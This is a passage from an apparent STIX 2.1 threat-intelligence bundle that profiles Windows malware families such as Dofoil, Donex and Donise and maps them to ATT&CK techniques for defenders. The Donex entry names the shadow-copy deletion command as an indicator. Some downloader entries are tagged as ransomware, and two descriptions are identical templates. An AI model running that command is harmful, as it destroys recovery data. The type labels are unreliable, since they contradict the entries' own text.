        "Program:Win32/DNSCleaner",
        "DNSCleaner Utility",
        "Win32/DNSCleaner"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Dnscleaner",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/dnscleaner"
        }
      ],
      "labels": [
        "pua",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0d58e3bf-0ad6-5415-baff-806be2d050e2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--46f5048d-08f9-5b36-882c-d8f54ce6756e",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dnscleaner exhibits technique T1189 (Drive-by Compromise)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9ab01ee7-1133-5165-92e5-ea01d5bd5046",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--46f5048d-08f9-5b36-882c-d8f54ce6756e",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dnscleaner exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools (DNS Hijacking))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7dfcfb04-6da7-56d3-bab8-50cf08ed5fc8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--46f5048d-08f9-5b36-882c-d8f54ce6756e",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dnscleaner exhibits technique T1176 (Browser Extensions)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--12603c98-7610-5e48-aae1-a4a78ce8393f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--46f5048d-08f9-5b36-882c-d8f54ce6756e",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dnscleaner exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6a0f5938-08be-5cb7-9476-688b78f63278",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--46f5048d-08f9-5b36-882c-d8f54ce6756e",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dnscleaner exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--2508f6f0-9cd3-51d7-b32e-a433d13d5b83",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Dodiw",
      "description": "Trojan:Win32/Dodiw is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Dodiw</b><br>To an end-user, a Dodiw infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Dodiw is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Dodiw is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Dodiw frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Dodiw reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 5)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Dodiw",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/dodiw"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0403fa55-1159-55e4-a8d3-297799483406",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2508f6f0-9cd3-51d7-b32e-a433d13d5b83",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dodiw exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--38b12804-36c3-5564-a76d-37d693343e4b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2508f6f0-9cd3-51d7-b32e-a433d13d5b83",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dodiw exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3eeaeafb-d114-59f6-a3e2-c02ccae7a72d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2508f6f0-9cd3-51d7-b32e-a433d13d5b83",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dodiw exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--aadf7b93-d86a-5139-8ccd-fd9bdaf7950e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2508f6f0-9cd3-51d7-b32e-a433d13d5b83",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dodiw exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--fce1a794-0e57-5971-8cb7-93039f2ce3e9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2508f6f0-9cd3-51d7-b32e-a433d13d5b83",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dodiw exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--8435db99-fdb3-58f3-9be1-391a21cbdf47",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Dofoil",
      "description": "Dofoil (universally tracked across threat intelligence communities and security vendors under aliases including SmokeLoader, Smoke Loader, and Trojan:Win32/Dofoil) is a notorious, modular initial access malware loader active since at least 2011. Sold on Russian-language underground cybercrime forums as a commercial Malware-as-a-Service (MaaS) payload loader, Dofoil served as the primary gateway infection for distributing ransomware, banking trojans, cryptocurrency miners, and info-stealers across global enterprise and consumer endpoints. Dofoil was a primary target of the major 2024 international law enforcement takedown known as 'Operation Endgame'. To maintain stealth, Dofoil injects its payload stub directly into legitimate Windows processes (most commonly explorer.exe) and manually reloads a fresh copy of ntdll.dll from disk directly into memory to overwrite and bypass user-mode API monitoring hooks established by Endpoint Detection and Response (EDR) solutions. In addition, Dofoil generates decoy HTTP requests to benign domains (such as microsoft.com and google.com) interspersed with encrypted command-and-control beacons to camouflage its network footprint. (Observed samples in benchmark: 90)",
      "is_family": true,
      "malware_types": [
        "downloader"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan:Win32/Dofoil",
        "SmokeLoader",
        "Smoke Loader",
        "TrojanDownloader:Win32/Dofoil"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Dofoil",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/dofoil"
        }
      ],
      "labels": [
        "downloader",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c8fbfb1a-7eb0-585d-88b3-c5761da5853e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8435db99-fdb3-58f3-9be1-391a21cbdf47",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dofoil exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4654ae28-5dac-5a67-958f-e9f3c5c08853",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8435db99-fdb3-58f3-9be1-391a21cbdf47",
      "target_ref": "attack-pattern--0a1fb694-bbfe-5e7d-89e1-1f78720af865",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dofoil exhibits technique T1055.001 (Process Injection: Dynamic-link Library Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f4d93388-bc11-5477-9eb4-c9583d2f0988",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8435db99-fdb3-58f3-9be1-391a21cbdf47",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dofoil exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5216c37e-481b-5870-9736-f2e79f98803c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8435db99-fdb3-58f3-9be1-391a21cbdf47",
      "target_ref": "attack-pattern--aa0c4501-5d70-5f02-83ed-46c2180b3277",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dofoil exhibits technique T1497.001 (Virtualization/Sandbox Evasion: System Checks)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7359cc69-bdb8-555d-849f-715c432a5b42",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8435db99-fdb3-58f3-9be1-391a21cbdf47",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dofoil exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--36003f9b-8ade-56c4-88d9-b80595cc6e7f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Domaiq",
      "description": "Domaiq (cataloged across security vendors and threat intelligence databases under detections including PUA:Win32/Domaiq, Adware:Win32/Domaiq, and Program:Win32/Domaiq) is an aggressive browser modifier and monetization framework active since 2015. Distributed primarily through third-party freeware downloaders, software bundlers, and deceptive update prompts, Domaiq alters browser configurations across Google Chrome, Mozilla Firefox, and Internet Explorer. Once installed, Domaiq injects sponsored advertisements, banner overlays, and promotional links into web search results. It hijacks default search providers and DNS redirect paths to funnel search traffic through affiliate monetization networks, generating revenue on pay-per-click ads while degrading system browsing performance and leaking user query telemetry. (Observed samples in benchmark: 63)",
      "is_family": true,
      "malware_types": [
        "adware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "PUA:Win32/Domaiq",
        "Adware:Win32/Domaiq",
        "Program:Win32/Domaiq",
        "DomIQ"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Domaiq",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/domaiq"
        }
      ],
      "labels": [
        "pua",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a081cd1a-47b6-574e-b28a-4424dcd87368",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--36003f9b-8ade-56c4-88d9-b80595cc6e7f",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Domaiq exhibits technique T1189 (Drive-by Compromise)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7d5f7a53-daa8-5bba-a598-8aa023c564ad",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--36003f9b-8ade-56c4-88d9-b80595cc6e7f",
      "target_ref": "attack-pattern--c3628f86-de8f-507d-a3a8-73c0a63c90c4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Domaiq exhibits technique T1546.015 (Event Triggered Execution: Component Object Model Hijacking)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6c5f1e77-be9f-56a6-87f7-3e5d785eaa65",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--36003f9b-8ade-56c4-88d9-b80595cc6e7f",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Domaiq exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ecd51647-b2f5-5246-b59e-d15e826e0e77",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--36003f9b-8ade-56c4-88d9-b80595cc6e7f",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Domaiq exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--af6a98b7-8630-5ac7-9405-fa41c9903aa4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--36003f9b-8ade-56c4-88d9-b80595cc6e7f",
      "target_ref": "attack-pattern--811b0131-eca0-5e7e-a296-b88d7ece01bd",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Domaiq exhibits technique T1543.003 (Create or Modify System Process: Windows Service)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--bba9acd2-ad59-59c1-abc6-56f7a2847381",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Dominator",
      "description": "Trojan:Win32/Dominator is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Dominator</b><br>To an end-user, a Dominator infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Dominator is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Dominator is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Dominator frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Dominator reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 5)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Dominator",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/dominator"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3ae3d34c-abd3-581b-af3c-96fd60f591ba",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--bba9acd2-ad59-59c1-abc6-56f7a2847381",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dominator exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--19c7c690-950a-5d92-b982-da25855a786b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--bba9acd2-ad59-59c1-abc6-56f7a2847381",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dominator exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a6de9d51-3e4f-513a-a787-2a1ced40a6a1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--bba9acd2-ad59-59c1-abc6-56f7a2847381",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dominator exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0c1d3e6c-7e70-5fd3-9cae-57319dfa12ae",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--bba9acd2-ad59-59c1-abc6-56f7a2847381",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dominator exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--060495da-097c-58cd-b295-769d7848b931",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--bba9acd2-ad59-59c1-abc6-56f7a2847381",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dominator exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--eef1974c-fb8a-5eb7-a8c8-3f19124354c6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Donex",
      "description": "Ransom:Win32/Donex is a destructive ransomware family that targets both individual users and enterprise networks, utilizing strong cryptographic algorithms to encrypt valuable files and demand payment for their release. Like many modern ransomware variants, it is designed to cause maximum operational disruption to force swift payment from the victim.<br><br><b>Understanding Donex Ransomware</b><br>To an infected user, the outcome is catastrophic: documents, databases, and critical files are suddenly inaccessible, their filenames often appended with a specific extension. A ransom note (usually an HTML or TXT file dropped in every directory) demands cryptocurrency. For a security operations center (SOC), a Donex detonation often represents the final stage of a prolonged network compromise, indicating that attackers have successfully bypassed endpoint defenses and potentially moved laterally across the network.<br><br><b>Execution and Encryption Mechanics</b><br>Donex is distributed via various vectors, including spear-phishing (`T1566`), malicious spam attachments, or manually deployed by attackers via compromised Remote Desktop Protocol (RDP) (`T1133`). Upon execution (`T1204.002`), it often attempts to terminate critical database and backup services (like SQL Server or Veeam) (`T1489`) to ensure those files are unlocked and vulnerable. It executes commands to delete Windows Volume Shadow Copies (`T1490`) using `vssadmin.exe` to prevent easy restoration. It then traverses the file system and mapped network drives, encrypting files using strong cryptography (`T1486`).<br><br><b>Indicators of Compromise & Impact</b><br>The impact is severe operational downtime and potential permanent data loss. The primary IoC is the massive, rapid modification of files across the hard drive and network shares. Host-based IoCs include EDR alerts for the mass deletion of shadow copies (`vssadmin delete shadows`) and the sudden termination of critical services. Network logs may show the initial command-and-control (C2) check-in to exchange the public encryption keys. (Observed samples in benchmark: 7)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Donex",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/donex"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e11ec2ef-42de-5ef2-951e-0294a35697df",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--eef1974c-fb8a-5eb7-a8c8-3f19124354c6",
      "target_ref": "attack-pattern--39fc3e3b-4925-51bd-9e25-b333ad9f6a10",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Donex exhibits technique T1486 (Data Encrypted for Impact)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--58d7d4b4-d1dc-512e-97d3-a3544a443200",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--eef1974c-fb8a-5eb7-a8c8-3f19124354c6",
      "target_ref": "attack-pattern--f2075d7b-16c2-58d2-9cc6-630d2c2ccc49",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Donex exhibits technique T1490 (Inhibit System Recovery)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--fd79e3f2-f50f-5f3c-a6d3-383314886112",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--eef1974c-fb8a-5eb7-a8c8-3f19124354c6",
      "target_ref": "attack-pattern--3e454648-d3ff-52aa-9384-1ac06a79ec48",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Donex exhibits technique T1489 (Service Stop (Terminating databases and backups))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f58f094a-8db9-5975-809b-5205f90a1912",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--eef1974c-fb8a-5eb7-a8c8-3f19124354c6",
      "target_ref": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Donex exhibits technique T1204.002 (User Execution: Malicious File)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--b61e1616-223b-5d2b-96a8-663f11ff3e33",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Donise",
      "description": "<h3>Executive Summary</h3>\nDonise is a malicious Trojan designed to covertly infiltrate Windows systems, establish persistence, and act as a reliable downloader for remote threat actors. It is frequently utilized in the initial stages of a cyberattack to gather system intelligence and facilitate the automated deployment of secondary, highly destructive malware payloads, such as enterprise ransomware or banking trojans.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nDonise is predominantly distributed through socially engineered spam campaigns containing malicious attachments (often weaponized PDFs or Office documents utilizing macro exploits) or via compromised software installers downloaded from untrustworthy web portals.\n\nUpon successful execution, Donise operates with a focus on stealth and payload delivery:\n<ul>\n<li><strong>System Reconnaissance:</strong> The trojan immediately collects detailed system information, including the OS version, installed software, Active Directory domain membership, and active antivirus solutions. This fingerprint is transmitted to a command-and-control (C2) server.</li>\n<li><strong>Persistence:</strong> Donise ensures it survives system reboots by modifying the Windows Registry (e.g., adding entries to the `Run` or `RunOnce` keys) or by creating hidden Scheduled Tasks that execute the malware payload under high privileges.</li>\n<li><strong>Payload Delivery:</strong> Acting as a downloader, Donise receives instructions from the C2 server to silently download and execute secondary malware. This provides the attacker with a flexible platform to escalate the attack based on the value of the compromised host.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Donise infection represents a significant breach of the endpoint perimeter. Because it provides remote attackers with the ability to execute arbitrary code, a single compromised machine can rapidly be utilized to pivot laterally and compromise the entire corporate network.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Endpoint Detection and Response (EDR):</strong> Configure EDR solutions to monitor for anomalous registry modifications and unauthorized outbound network connections to unknown IP addresses.</li>\n<li><strong>Network Isolation and Sweeps:</strong> Immediately isolate the infected endpoint from the LAN. Conduct a thorough forensic sweep to identify not only the Donise executable but also any secondary payloads it may have successfully deployed.</li>\n<li><strong>Credential Reset:</strong> Because Donise frequently facilitates the deployment of info-stealers, all user credentials associated with the compromised endpoint must be treated as compromised and immediately reset.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Donise",
        "Downloader.Donise",
        "Win32/Donise"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Donise",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/donise"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--91c87add-2fbc-5102-a989-435d9532f49c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b61e1616-223b-5d2b-96a8-663f11ff3e33",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Donise exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--bc83b9a1-757e-5c10-a024-68a967a22ee6",
      "created": "2026-01-01T00:00:00.000Z",
